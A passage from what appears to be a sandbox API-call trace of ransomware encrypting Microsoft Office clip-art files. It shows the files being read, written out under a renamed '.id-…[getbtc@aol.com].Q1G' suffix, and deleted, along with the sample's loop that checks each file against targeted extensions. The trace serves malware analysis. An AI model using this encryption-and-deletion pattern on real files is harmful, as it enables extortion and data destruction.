office\\clipart\\pub60cor\\j0152696.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0263.077] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=7320) returned 1 [0263.078] CloseHandle (hObject=0x1bc) returned 1 [0263.078] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152696.wmf")) returned 0x20 [0263.078] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152696.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152696.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0263.078] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.078] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152696.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0263.079] GetLastError () returned 0x0 [0263.079] ReadFile (in: hFile=0x1bc, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x1c98, lpOverlapped=0x0) returned 1 [0263.081] WriteFile (in: hFile=0x3e0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x1ca0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x1ca0, lpOverlapped=0x0) returned 1 [0263.082] ReadFile (in: hFile=0x1bc, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.082] WriteFile (in: hFile=0x3e0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0263.082] SetEndOfFile (hFile=0x3e0) returned 1 [0263.082] CloseHandle (hObject=0x3e0) returned 1 [0263.082] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.082] SetEndOfFile (hFile=0x1bc) returned 1 [0263.084] CloseHandle (hObject=0x1bc) returned 1 [0263.084] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.085] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152696.wmf")) returned 1 [0263.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF") returned 63 [0263.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF") returned 63 [0263.085] lstrlenW (lpString=".doc") returned 4 [0263.085] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.085] lstrlenW (lpString=".docx") returned 5 [0263.085] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0263.085] lstrlenW (lpString=".pdf") returned 4 [0263.085] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.085] lstrlenW (lpString=".xls") returned 4 [0263.085] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.085] lstrlenW (lpString=".xlsx") returned 5 [0263.085] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0263.085] lstrlenW (lpString=".ppt") returned 4 [0263.085] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF") returned 63 [0263.086] lstrlenW (lpString=".zip") returned 4 [0263.086] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.086] lstrlenW (lpString=".rar") returned 4 [0263.086] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.086] lstrlenW (lpString=".bz2") returned 4 [0263.086] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.086] lstrlenW (lpString=".7z") returned 3 [0263.086] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF") returned 63 [0263.086] lstrlenW (lpString=".dbf") returned 4 [0263.086] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF") returned 63 [0263.086] lstrlenW (lpString=".1cd") returned 4 [0263.086] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF") returned 63 [0263.086] lstrlenW (lpString=".jpg") returned 4 [0263.086] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF") returned 63 [0263.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF") returned 63 [0263.086] lstrlenW (lpString=".doc") returned 4 [0263.086] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.086] lstrlenW (lpString=".docx") returned 5 [0263.086] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0263.086] lstrlenW (lpString=".pdf") returned 4 [0263.086] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.086] lstrlenW (lpString=".xls") returned 4 [0263.086] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.086] lstrlenW (lpString=".xlsx") returned 5 [0263.086] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0263.086] lstrlenW (lpString=".ppt") returned 4 [0263.086] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF") returned 63 [0263.086] lstrlenW (lpString=".zip") returned 4 [0263.086] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.087] lstrlenW (lpString=".rar") returned 4 [0263.087] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.087] lstrlenW (lpString=".bz2") returned 4 [0263.087] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.087] lstrlenW (lpString=".7z") returned 3 [0263.087] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF") returned 63 [0263.087] lstrlenW (lpString=".dbf") returned 4 [0263.087] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF") returned 63 [0263.087] lstrlenW (lpString=".1cd") returned 4 [0263.087] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF") returned 63 [0263.087] lstrlenW (lpString=".jpg") returned 4 [0263.087] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.087] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0263.087] lstrlenW (lpString="J0152894.WMF") returned 12 [0263.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152894.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0263.090] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=11348) returned 1 [0263.090] CloseHandle (hObject=0x1bc) returned 1 [0263.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152894.wmf")) returned 0x20 [0263.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152894.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152894.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0263.091] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.091] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152894.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0263.091] GetLastError () returned 0x0 [0263.091] ReadFile (in: hFile=0x1bc, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x2c54, lpOverlapped=0x0) returned 1 [0263.093] WriteFile (in: hFile=0x3e0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x2c60, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x2c60, lpOverlapped=0x0) returned 1 [0263.094] ReadFile (in: hFile=0x1bc, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.094] WriteFile (in: hFile=0x3e0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0263.094] SetEndOfFile (hFile=0x3e0) returned 1 [0263.094] CloseHandle (hObject=0x3e0) returned 1 [0263.094] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.094] SetEndOfFile (hFile=0x1bc) returned 1 [0263.096] CloseHandle (hObject=0x1bc) returned 1 [0263.096] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.097] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152894.wmf")) returned 1 [0263.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF") returned 63 [0263.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF") returned 63 [0263.097] lstrlenW (lpString=".doc") returned 4 [0263.097] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.097] lstrlenW (lpString=".docx") returned 5 [0263.097] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0263.097] lstrlenW (lpString=".pdf") returned 4 [0263.097] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.097] lstrlenW (lpString=".xls") returned 4 [0263.097] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.097] lstrlenW (lpString=".xlsx") returned 5 [0263.097] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0263.098] lstrlenW (lpString=".ppt") returned 4 [0263.098] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF") returned 63 [0263.098] lstrlenW (lpString=".zip") returned 4 [0263.098] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.098] lstrlenW (lpString=".rar") returned 4 [0263.098] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.098] lstrlenW (lpString=".bz2") returned 4 [0263.098] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.098] lstrlenW (lpString=".7z") returned 3 [0263.098] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF") returned 63 [0263.098] lstrlenW (lpString=".dbf") returned 4 [0263.098] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF") returned 63 [0263.098] lstrlenW (lpString=".1cd") returned 4 [0263.098] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF") returned 63 [0263.098] lstrlenW (lpString=".jpg") returned 4 [0263.098] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF") returned 63 [0263.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF") returned 63 [0263.098] lstrlenW (lpString=".doc") returned 4 [0263.098] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.098] lstrlenW (lpString=".docx") returned 5 [0263.098] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0263.098] lstrlenW (lpString=".pdf") returned 4 [0263.098] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.098] lstrlenW (lpString=".xls") returned 4 [0263.098] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.098] lstrlenW (lpString=".xlsx") returned 5 [0263.098] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0263.098] lstrlenW (lpString=".ppt") returned 4 [0263.098] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF") returned 63 [0263.099] lstrlenW (lpString=".zip") returned 4 [0263.099] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.099] lstrlenW (lpString=".rar") returned 4 [0263.099] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.099] lstrlenW (lpString=".bz2") returned 4 [0263.099] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.099] lstrlenW (lpString=".7z") returned 3 [0263.099] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF") returned 63 [0263.099] lstrlenW (lpString=".dbf") returned 4 [0263.099] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF") returned 63 [0263.099] lstrlenW (lpString=".1cd") returned 4 [0263.099] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF") returned 63 [0263.099] lstrlenW (lpString=".jpg") returned 4 [0263.099] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.099] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0263.099] lstrlenW (lpString="J0152898.WMF") returned 12 [0263.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152898.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0263.100] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=4496) returned 1 [0263.100] CloseHandle (hObject=0x1bc) returned 1 [0263.100] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152898.wmf")) returned 0x20 [0263.100] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152898.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152898.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0263.100] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.100] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152898.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0263.101] GetLastError () returned 0x0 [0263.101] ReadFile (in: hFile=0x1bc, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x1190, lpOverlapped=0x0) returned 1 [0263.240] WriteFile (in: hFile=0x3e0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x11a0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x11a0, lpOverlapped=0x0) returned 1 [0263.241] ReadFile (in: hFile=0x1bc, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.241] WriteFile (in: hFile=0x3e0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0263.241] SetEndOfFile (hFile=0x3e0) returned 1 [0263.241] CloseHandle (hObject=0x3e0) returned 1 [0263.241] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.241] SetEndOfFile (hFile=0x1bc) returned 1 [0263.243] CloseHandle (hObject=0x1bc) returned 1 [0263.244] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.256] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152898.wmf")) returned 1 [0263.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF") returned 63 [0263.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF") returned 63 [0263.270] lstrlenW (lpString=".doc") returned 4 [0263.270] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.270] lstrlenW (lpString=".docx") returned 5 [0263.270] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0263.270] lstrlenW (lpString=".pdf") returned 4 [0263.270] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.270] lstrlenW (lpString=".xls") returned 4 [0263.270] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.270] lstrlenW (lpString=".xlsx") returned 5 [0263.270] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0263.270] lstrlenW (lpString=".ppt") returned 4 [0263.270] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF") returned 63 [0263.271] lstrlenW (lpString=".zip") returned 4 [0263.271] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.271] lstrlenW (lpString=".rar") returned 4 [0263.271] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.271] lstrlenW (lpString=".bz2") returned 4 [0263.271] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.271] lstrlenW (lpString=".7z") returned 3 [0263.271] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF") returned 63 [0263.271] lstrlenW (lpString=".dbf") returned 4 [0263.271] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF") returned 63 [0263.271] lstrlenW (lpString=".1cd") returned 4 [0263.271] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF") returned 63 [0263.271] lstrlenW (lpString=".jpg") returned 4 [0263.271] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF") returned 63 [0263.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF") returned 63 [0263.271] lstrlenW (lpString=".doc") returned 4 [0263.271] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.271] lstrlenW (lpString=".docx") returned 5 [0263.271] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0263.271] lstrlenW (lpString=".pdf") returned 4 [0263.271] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.272] lstrlenW (lpString=".xls") returned 4 [0263.272] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.272] lstrlenW (lpString=".xlsx") returned 5 [0263.272] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0263.272] lstrlenW (lpString=".ppt") returned 4 [0263.272] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF") returned 63 [0263.272] lstrlenW (lpString=".zip") returned 4 [0263.272] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.272] lstrlenW (lpString=".rar") returned 4 [0263.272] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.272] lstrlenW (lpString=".bz2") returned 4 [0263.272] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.272] lstrlenW (lpString=".7z") returned 3 [0263.272] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF") returned 63 [0263.272] lstrlenW (lpString=".dbf") returned 4 [0263.272] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF") returned 63 [0263.272] lstrlenW (lpString=".1cd") returned 4 [0263.272] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF") returned 63 [0263.272] lstrlenW (lpString=".jpg") returned 4 [0263.272] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.272] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0263.272] lstrlenW (lpString="J0153089.WMF") returned 12 [0263.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153089.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0263.273] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=7848) returned 1 [0263.273] CloseHandle (hObject=0x1f8) returned 1 [0263.273] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153089.wmf")) returned 0x20 [0263.273] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 